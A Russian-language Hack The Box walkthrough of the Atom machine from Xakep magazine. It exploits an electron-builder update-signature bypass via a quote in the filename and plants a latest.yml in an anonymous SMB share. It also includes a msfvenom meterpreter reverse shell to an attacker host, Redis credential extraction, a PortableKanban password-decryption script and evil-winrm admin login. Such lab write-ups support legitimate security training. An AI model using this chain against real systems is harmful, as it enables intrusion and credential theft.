Хакер - HTB Atom. Ломаем приложение на electron-builder через систему обновлений

Хакер - HTB Atom. Ломаем приложение на electron-builder через систему обновлений

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Тестирование SMB
  • Точка входа
  • Точка опоры
  • Продвижение
  • Повышение привилегий

В этой статье мы ата­куем при­ложе­ние через уяз­вимость в electron-builder, порабо­таем с базой дан­ных Redis и рас­шифру­ем пароль от Kanban. Все эти вещи встре­тят­ся нам при про­хож­дении сред­ней по слож­ности машины с пло­щад­ки Hack The Box под наз­вани­ем Atom. Прис­тупим!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем в /etc/hosts IP машины:

10.10.10.234 schooled.htb

И ска­ниру­ем ее пор­ты в два про­хода при помощи Nmap:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

На­ходим шесть откры­тых пор­тов:

  • порт 80 — веб‑сер­вер Apache 2.4.46;
  • порт 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC);
  • порт 443 — веб‑сер­вер Apache 2.4.46 + SSL (HTTPS);
  • порт 445 — SMB;
  • порт 5985 — служ­ба уда­лен­ного управле­ния WinRM;
  • порт 6379 — Redis.

Раз есть сайт, начинать осмотр нуж­но имен­но с него. Здесь могут най­тись и точ­ки вхо­да в виде раз­ных уяз­вимос­тей, и прос­то важ­ная инфа — к при­меру, име­на поль­зовате­лей. И конеч­но, осмотр сай­та дает воз­можность понять, с какими тех­нологи­ями при­дет­ся стол­кнуть­ся.

Стар­товая стра­ница сай­та

На пер­вый взгляд, ничего инте­рес­ного на сай­те нет, кро­ме воз­можнос­ти ска­чать архив с каким‑то прог­рам­мным обес­печени­ем.

Тестирование SMB

Те­перь про­веря­ем, что нам может дать SMB. Под­клю­чив­шись к нему, находим общую дирек­торию Software_Updates, которая дос­тупна без авто­риза­ции. И c помощью SMBMap сра­зу прос­матри­ваем рекур­сивно все содер­жимое (опция -R).

smbmap -H atom.htb -u anonymous

Про­вер­ка ано­ним­ного дос­тупа

smbmap -H atom.htb -u anonymous -R Software_Updates

По­луче­ние содер­жимого обще­го ресур­са Software_Updates

Нам дос­тупны три одно­тип­но наз­ванные дирек­тории client, а так­же файл UAT_Testing_Procedures.pdf. Давай‑ка ска­чаем его пос­мотреть. Для это­го будем исполь­зовать smbclient.

smbclient "\\\10.10.10.237\Software_Updates"

get UAT_Testing_Procedures.pdf

По­луче­ние фай­ла UAT_Testing_Procedures.pdf
Со­дер­жимое фай­ла UAT_Testing_Procedures.pdf

До­кумент — это опи­сание при­ложе­ния для соз­дания заметок под наз­вани­ем Heed. А раз­работан этот Heed с помощью electron-builder. Так­же в докумен­те отме­чен план перехо­да от одно­уров­невого тол­сто­го кли­ента на пол­ноцен­ную дву­хуров­невую архи­тек­туру.

ТОЧКА ВХОДА

Что очень важ­но, в докумен­тации изло­жена и тех­ничес­кая сто­рона работы с при­ложе­нием. Так, в начале работы прог­рамму тре­бует­ся ском­пилиро­вать и уста­новить. Затем упо­мина­ется сер­вер обновле­ний. Что­бы обно­вить­ся, нуж­но помес­тить обновле­ния в одну из папок client (теперь ста­новит­ся понят­но их пред­назна­чение). При этом обновле­ния будут про­ходить некую про­вер­ку кон­тро­ля качес­тва. Про­цесс про­вер­ки уста­нов­ленных обновле­ний нас не инте­ресу­ет.

Здесь уже виден сле­дующий век­тор ата­ки: на сер­вере работа­ет при­ложе­ние, которое авто­мати­чес­ки обновля­ется, а мы име­ем дос­туп к дирек­тории, отку­да оно берет обновле­ния. Нуж­но лишь разоб­рать­ся, в каком виде тре­бует­ся пред­ста­вить обновле­ния, а так­же что делать с их про­вер­кой.

Да­вай поищем извес­тные уяз­вимос­ти в electron-builder. Обыч­но сле­дует искать сра­зу готовые экс­пло­иты, что­бы понимать уже реали­зован­ные уяз­вимос­ти, и делать это с помощью поис­ковых движ­ков вро­де Google.

По­иск уяз­вимос­тей с помощью Google

Electron-builder — это решение для упа­ков­ки и соз­дания готово­го к рас­простра­нению при­ложе­ния Electron. Одно из его пре­иму­ществ — это под­дер­жка авто­мати­чес­кого обновле­ния. Для вер­сии под Mac и Windows реали­зова­на под­дер­жка под­писи и про­вер­ки кода — видимо, о таком кон­тро­ле и упо­мина­лось в докумен­тации. За авто­мати­чес­кое обновле­ние отве­чает модуль, который исполь­зует инстал­лятор NSIS (в слу­чае с Windows). Тот, в свою оче­редь, может под­писывать обновле­ния при помощи одно­го из двух алго­рит­мов хеширо­вания: SHA-1 и SHA-256.

У electron-builder наш­лась уяз­вимость, которую мож­но исполь­зовать для обхо­да про­вер­ки под­писи, что дол­жно при­вес­ти нас к уда­лен­ному выпол­нению команд. Про­вер­ка под­писи осно­вана на срав­нении строк publisherName исполня­емо­го фай­ла и атри­бута Common Name сер­тифика­та обновле­ния. При обновле­нии при­ложе­ние получит с сер­вера обновле­ний файл latest.yml, который содер­жит опи­сание, имя фай­ла и хеш. Вот фраг­мент кода, который про­изво­дит обновле­ние:

execFile("powershell.exe", ["-NoProfile", "-NonInteractive", "-InputFormat", "None", "-Command", `Get-AuthenticodeSignature '${tempUpdateFile}' | ConvertTo-Json -Compress`], ...

Уяз­вимость зак­люча­ется в том, что перемен­ная ${tempUpdateFile} переда­ется без экра­ниро­вания, что поз­воля­ет обой­ти про­вер­ку стро­кой с ошиб­кой син­такси­са. Для это­го в име­ни фай­ла дос­таточ­но передать оди­нар­ную кавыч­ку (').

ТОЧКА ОПОРЫ

На­ша задача — под­готовить «опас­ное» обновле­ние. Для это­го сде­лаем наг­рузку meterpreter с помощью msfvenom (сра­зу ого­ворюсь, что на x64 работать не будет):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.126 LPROT=4321 -f exe -o "r'alf.exe"

Ге­нери­рова­ние наг­рузки meterpreter

Те­перь под­готовим под­пись. Это хеш SHA-512 в кодиров­ке Base64.

sha512sum "r'alf.exe" | cut -d " " -f1 | xxd -r -p | base64 -w0 ; echo

Соз­дание под­писи для фай­ла

За­вер­шим под­готов­ку, соз­дав файл latest.yaml. В нем ука­зыва­ем вер­сию, URL, по которо­му будет заг­ружен наш пей­лоад, и под­пись:

version: 1.5.7

path: http://10.10.14.126:8000/r'alf.exe

sha512: fkPZ57/dyfy7LqM0suIUt7RvlKopmEfJvv4SQCkrddvkfxnKl4GaYlBv3OW95M8tVLhTxNWZLJWMHSGap0yAMQ==

Ос­талось запус­тить веб‑сер­вер (я по тра­диции исполь­зую Python 3) и открыть лис­тенер Metasploit Framework. Будем исполь­зовать модуль handler, которо­му нуж­но ука­зать тип наг­рузки, локаль­ные хост и порт.

python3 -m http.server

msfconsole

use exploit/multi/handler

set LHOST 10.10.14.126

set LPORT 4321

run

Соз­дание лис­тенера Metasploit Framework

Под­клю­чим­ся по SMB и раз­местим в любой из папок client файл latest.yml. Спус­тя некото­рое вре­мя в логах веб‑сер­вера уви­дим заг­рузку нашего пей­лоада, а в окне лис­тенера — соз­данную сес­сию meterpreter.

smbclient "\\\10.10.10.237\Software_Updates"

cd client1

put latest.yml

Ло­ги веб‑сер­вера
Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

Так как мы работа­ем в при­ложе­нии архи­тек­туры x86, для ста­биль­нос­ти нам нуж­но миг­рировать в один из про­цес­сов x64. Сна­чала прос­мотрим все про­цес­сы текуще­го поль­зовате­ля, а потом выпол­ним миг­рацию в пер­вый попав­ший­ся.

ps -U jason

migrate [pid]

getpid

Спи­сок про­цес­сов поль­зовате­ля jason
Миг­рация в поль­зователь­ский про­цесс

Те­перь, ког­да мы получи­ли дос­туп к хос­ту и успешно миг­рирова­ли в дру­гой про­цесс, нам необ­ходимо соб­рать информа­цию. Я это делаю при помощи скрип­тов PEASS, которые есть и для Windows, и для Unix. Они авто­мати­чес­ки про­шер­стят сис­тему, выдадут всю информа­цию и под­све­тят то, на что сто­ит обра­тить вни­мание. Заг­рузим на локаль­ный хост скрипт для Windows. С Meterpreter это сде­лать очень лег­ко.

Заг­рузка и выпол­нение скрип­та

В выводе мы получим все­воз­можную информа­цию, поэто­му наша задача — выб­рать важ­ную. В спис­ке уста­нов­ленно­го ПО находим Redis, при­чем мы можем уви­деть путь к фай­лу кон­фигура­ции служ­бы. Находим исполня­емый файл Kanban, а так­же докумен­тацию к прог­рамме.

Спи­сок уста­нов­ленно­го прог­рам­мно­го обес­печения
За­пущен­ные служ­бы
Най­ден­ные на хос­те докумен­ты
Най­ден­ные исполня­емые фай­лы и скрип­ты

В фай­ле кон­фигура­ций для Redis находим пароль.

Со­дер­жимое фай­ла кон­фигура­ций Redis

Redis — это сис­тема управле­ния базами дан­ных клас­са NoSQL, работа­ющая со струк­турами дан­ных типа «ключ — зна­чение». Исполь­зует­ся как для баз дан­ных, так и для реали­зации кешей и бро­керов сооб­щений. В нашем слу­чае Redis «смот­рит наружу», поэто­му мы можем исполь­зовать для работы кли­ент redis-cli (для уста­нов­ки нуж­но выпол­нить sudo apt install redis-tools).

Под­клю­чим­ся к служ­бе и получим клю­чи:

redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat

keys *

По­луче­ние клю­чей в Redis

По­лучим дан­ные по клю­чу pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0.

get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0

По­луче­ние дан­ных

Я сра­зу узнал кон­фиг Portable Kanban (кста­ти, он же уста­нов­лен на хос­те), так как дос­таточ­но дол­го во­зил­ся с ним при про­хож­дении дру­гой машины — Sharp.

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы получи­ли зашиф­рован­ный пароль, а в интерне­те навер­няка есть информа­ция о том, как его рас­шифро­вать. Дол­го искать не приш­лось, пер­вая же ссыл­ка при­вела на Exploit-DB. Нам нуж­на малая часть кода, а вер­нее, толь­ко одна фун­кция. Но сна­чала уста­новим биб­лиоте­ку des (python3 -m pip install des).

from des import *

import base64

hash = base64.b64decode("Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi".encode('utf-8'))

key = DesKey(b"7ly6UznJ")

print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))

Рас­шифро­ван­ный пароль адми­нис­тра­тора

По­луча­ем пароль адми­нис­тра­тора, с помощью которо­го мы можем авто­ризо­вать­ся через служ­бу WinRM.

evil-winrm -i 10.10.10.237 -u 'administrator' -p 'kidvscat_admin_@123'

Флаг рута

У нас есть флаг рута, а зна­чит, машина зах­вачена.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page